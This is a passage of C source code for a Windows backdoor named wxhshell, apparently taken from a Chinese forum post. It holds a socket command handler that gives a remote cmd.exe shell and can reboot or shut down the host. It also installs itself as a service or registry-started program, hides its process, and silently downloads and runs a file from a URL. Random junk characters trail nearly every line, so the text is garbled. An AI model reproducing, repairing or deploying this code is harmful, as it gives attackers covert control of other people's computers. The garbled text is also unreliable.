  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 46*?hA7@r(  
  } D.RHvo~6  
  else { X/?3ifP6I  
L./UgeZ  
    switch(cmd[0]) { &cZD{Z  
  K%S k{'  
  // 帮助 7[Y<5T]  
  case '?': { 67d0JQTu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -E.EI@"  
    break; \OOj]gAe  
  } vQA: \!  
  // 安装 tvP"t{C6,  
  case 'i': { JTx&_Ok#  
    if(Install()) WO]dWO6Mm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+0'vIw}  
    else Hf#/o{=~}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {<bByHT!  
    break; Ix"uk6 h  
    } i2EB.Zlv  
  // 卸载 o#G7gzw)  
  case 'r': { .x}ImI  
    if(Uninstall()) V]IS(U(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ndN 8eh:OR  
    else P\SE_*&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1h|JKu0  
    break; QGfU:  
    } 'H+pwp"M@  
  // 显示 wxhshell 所在路径 8He^j5  
  case 'p': { "Y4 tt0I  
    char svExeFile[MAX_PATH]; *2@Ne[dYEF  
    strcpy(svExeFile,"\n\r"); g!4"3Dtdg  
      strcat(svExeFile,ExeFile); yt$V<8a  
        send(wsh,svExeFile,strlen(svExeFile),0); UA}k"uM  
    break; d!!5'/tmS  
    } Si!W@Jm  
  // 重启 w+ bMDp  
  case 'b': { ]kR 93  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U1dz:OG>  
    if(Boot(REBOOT)) ,_p_p^Ar\4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ZZ7j  
    else { JTrxh]  
    closesocket(wsh); 6X)8vQH  
    ExitThread(0); C)Mh  
    } G.1pg]P!  
    break; M++*AZ  
    } A-uEZj_RD=  
  // 关机 r'-)@|  
  case 'd': { LDO@$jg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s>^*GQw  
    if(Boot(SHUTDOWN)) (Zx;GS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zkB_$=sbn#  
    else { SxNs  
    closesocket(wsh); ^qGH77#z  
    ExitThread(0); #|)GarDG  
    } VMsAT3^w  
    break; J=5G<  
    } 5{VrzzOK}  
  // 获取shell 9_oIAn:<  
  case 's': { o1 QK@@}  
    CmdShell(wsh); -_v[oqf$  
    closesocket(wsh); Ust>%~<  
    ExitThread(0); P6dIU/w  
    break; h$y1"!N(  
  } (:-=XR9A`  
  // 退出 yin"+&<T  
  case 'x': { }B^KV#_{S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L9&Z?$6J_p  
    CloseIt(wsh); t: r   
    break; <5G*#0gw  
    } i e%ZX  
  // 离开 $D1Pk  
  case 'q': { *[k7KG2_U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _"Y;E  
    closesocket(wsh); s9zdg"c'  
    WSACleanup(); 0O|T\E8 e  
    exit(1); e%o6s+"  
    break; >DpnIWn  
        } rQ LNo,  
  } pO4}6\1\  
  } ?E=&LAI#  
P%(pbG-X.  
  // 提示信息 OANn!nZ.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =&< s*-l[  
} &CG3_s<2  
  } \ @3i=!  
+kmPQdO;*/  
  return; x/R|i%u-s  
} l0 r Zril  
{eMu"<  
// shell模块句柄 >n{(2bcFs  
int CmdShell(SOCKET sock) 9co1+y=i{  
{ k5P&F  
STARTUPINFO si; Kw+?Lowp  
ZeroMemory(&si,sizeof(si)); W1iKn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IX,/ZOZ|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P] ouLjyq  
PROCESS_INFORMATION ProcessInfo; |r$Vb$z  
char cmdline[]="cmd"; 5JBenTt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )W(?wv!,  
  return 0; 1)X%n)2pr  
}  3_+-t5  
K3M<%  
// 自身启动模式 H'P1EZtq  
int StartFromService(void) z<hy#BIjnd  
{ [}N?'foLb  
typedef struct ]+{Cy\*kR  
{ ?S36)oZzg  
  DWORD ExitStatus; oOnk,U  
  DWORD PebBaseAddress; b Bb$0HOF  
  DWORD AffinityMask; {;=I69 X  
  DWORD BasePriority; uL1e?  
  ULONG UniqueProcessId; ]4@_KKP  
  ULONG InheritedFromUniqueProcessId; 1}}.e^Tsfr  
}   PROCESS_BASIC_INFORMATION; D N GNc  
GTyS8`5E*  
PROCNTQSIP NtQueryInformationProcess; j|A *rzL8  
>t2 0GmmN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ky[/7S5E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "W?k~.uw  
A\ CtM`  
  HANDLE             hProcess; -:h5Ky"  
  PROCESS_BASIC_INFORMATION pbi; LsS/Sk  
'(7]jug  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]3BTL7r  
  if(NULL == hInst ) return 0; =\eM -"r  
Eg FV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;@Alr?y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p3M)gH=N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hl8-1M$&  
!vHnMY~AG  
  if (!NtQueryInformationProcess) return 0; <=l!~~%  
qH: ` O%,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); snK$? 9vh  
  if(!hProcess) return 0; Zm >Q-7r9  
4/&Us  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ><mZOTn e;  
TxoMCN?7c  
  CloseHandle(hProcess); ce0TQ  
nw+L _b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $6L gaz  
if(hProcess==NULL) return 0; &.y:QVR,!  
47ppyh6@  
HMODULE hMod; 0m(/hK  
char procName[255]; rUvqAfE&+  
unsigned long cbNeeded; . p^='Kz?  
I3uaEv7OZc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %M2.h;9]*\  
2l}FOdq  
  CloseHandle(hProcess); v7&e,:r2E@  
Mc#uWmc 7  
if(strstr(procName,"services")) return 1; // 以服务启动 lbZ,?wm  
dE7 kd=.o  
  return 0; // 注册表启动 -v'7;L0K  
} B;r U  
vvU;55-  
// 主模块 r :{2}nE  
int StartWxhshell(LPSTR lpCmdLine) ClCb.Ozj4  
{ ID & Iz  
  SOCKET wsl; r  /63  
BOOL val=TRUE; mT <4@RrB  
  int port=0; ;nyV)+t+a  
  struct sockaddr_in door; 2 :u4~E3  
22"M#:r$  
  if(wscfg.ws_autoins) Install(); f ?_YdVZ  
#o SQWC=T  
port=atoi(lpCmdLine); zm-j FY?  
QZ$94XLI  
if(port<=0) port=wscfg.ws_port; BC ]^BKP  
A,ttn5Sh?  
  WSADATA data; ^0_*AwIcN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8xJdK'  
MCD]n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =;-/( C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `r e]Q0IO  
  door.sin_family = AF_INET; @vh3S+=M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BG_m}3j  
  door.sin_port = htons(port); ~aQ>DpSEf  
6a[D]46y,2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kSv?p1\@&P  
closesocket(wsl); $qYtN`b,  
return 1; d/!sHr69  
} "IA[;+_"  
c[}h( jkP  
  if(listen(wsl,2) == INVALID_SOCKET) { C '4u+raq  
closesocket(wsl); [X ]\^   
return 1; O`~G'l&@T  
} )HNbWGu  
  Wxhshell(wsl); C18pK8-  
  WSACleanup(); y:WRpCZoa  
7}(wEC  
return 0; lEIX,amwa  
](a*R  
} #Z;ziM:  
A8&yB;T$y  
// 以NT服务方式启动 -sm{Hpf_b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K++pH~o  
{ $,otW2:)  
DWORD   status = 0; t_6sDr'.  
  DWORD   specificError = 0xfffffff; 5Al 59]  
)_"Cz".|9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;X<#y2`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7Oe |:Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w~y+Pv@   
  serviceStatus.dwWin32ExitCode     = 0; ]|18tVXc  
  serviceStatus.dwServiceSpecificExitCode = 0; zDeh#  
  serviceStatus.dwCheckPoint       = 0; x tg3~/H  
  serviceStatus.dwWaitHint       = 0; +8Yt91   
:P #   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -BfZ P5  
  if (hServiceStatusHandle==0) return; 3Wxl7"!x m  
LbOjKM^-  
status = GetLastError(); &>\E >mJ  
  if (status!=NO_ERROR) `Jhu&MWg  
{ ~z#Faed=a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -U)6o"O_CV  
    serviceStatus.dwCheckPoint       = 0; aF2 eGh  
    serviceStatus.dwWaitHint       = 0; #~*fZ|sq+3  
    serviceStatus.dwWin32ExitCode     = status; ';us;xR#  
    serviceStatus.dwServiceSpecificExitCode = specificError; I~y[8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3GUO   
    return; h.>6>5$n  
  } /1:`?% ,2  
A<2_V1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `An|a~G1  
  serviceStatus.dwCheckPoint       = 0; !yU!ta Q  
  serviceStatus.dwWaitHint       = 0; XKN`{h-@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6pDb5@QjTy  
} ZGK*]o =)  
c) Zid1  
// 处理NT服务事件,比如:启动、停止 &?YbAo_K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _?#}@?  
{ mwVH>3{j  
switch(fdwControl) | VPs5  
{ '<5Gf1 @|  
case SERVICE_CONTROL_STOP: YdX#`  
  serviceStatus.dwWin32ExitCode = 0; kKAK;JQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <\!+J\YTA  
  serviceStatus.dwCheckPoint   = 0; J7W]Str  
  serviceStatus.dwWaitHint     = 0; 0M(\xO  
  { }&sF \b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Wh0Of  
  } -1d2Qed  
  return; Bi/=cI  
case SERVICE_CONTROL_PAUSE: 4]0|fi3}>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5jD2%"YUV  
  break; ' Z:FGSwT  
case SERVICE_CONTROL_CONTINUE: fQRGz\r*k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XSC._)ztEE  
  break; o#gb+[  
case SERVICE_CONTROL_INTERROGATE: (|L0s)  
  break; G/>upnA{w  
}; 5VdF^.:u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\9E%/aAD  
} sYM3&ikyHI  
iI ji[>qz  
// 标准应用程序主函数 Tn,'*D@l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XBe!9/'k>  
{ 4CVtXi_Y  
1.U5gW/3L  
// 获取操作系统版本 $Q*h+)g<  
OsIsNt=GetOsVer(); &Q 7Q1`S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +pp|Qgr 3  
=UYZ){rt9E  
  // 从命令行安装 4<fKB&  
  if(strpbrk(lpCmdLine,"iI")) Install(); }/q]:3M|  
<o,]f E[  
  // 下载执行文件 =u W+>;]  
if(wscfg.ws_downexe) { TbbtD"b?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cfqgu;m  
  WinExec(wscfg.ws_filenam,SW_HIDE); XcB!9AIO  
} PB00\&6H  
'bVDmm).  
if(!OsIsNt) { `K37&b;`[  
// 如果时win9x,隐藏进程并且设置为注册表启动 f(!:_!m*  
HideProc(); rdZk2\<  
StartWxhshell(lpCmdLine); xU+c?OLi  
} Y ]&D;w  
else `6;%HbP$W+  
  if(StartFromService()) :"5'l>la  
  // 以服务方式启动 |LA@guN  
  StartServiceCtrlDispatcher(DispatchTable); D_er(  
else B|U*2|e  
  // 普通方式启动 k"X<gA  
  StartWxhshell(lpCmdLine); T {Q]  
- `F#MN  
return 0; C# IV"Pkq  
}
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只看该作者 1 发表于: 2006-10-10
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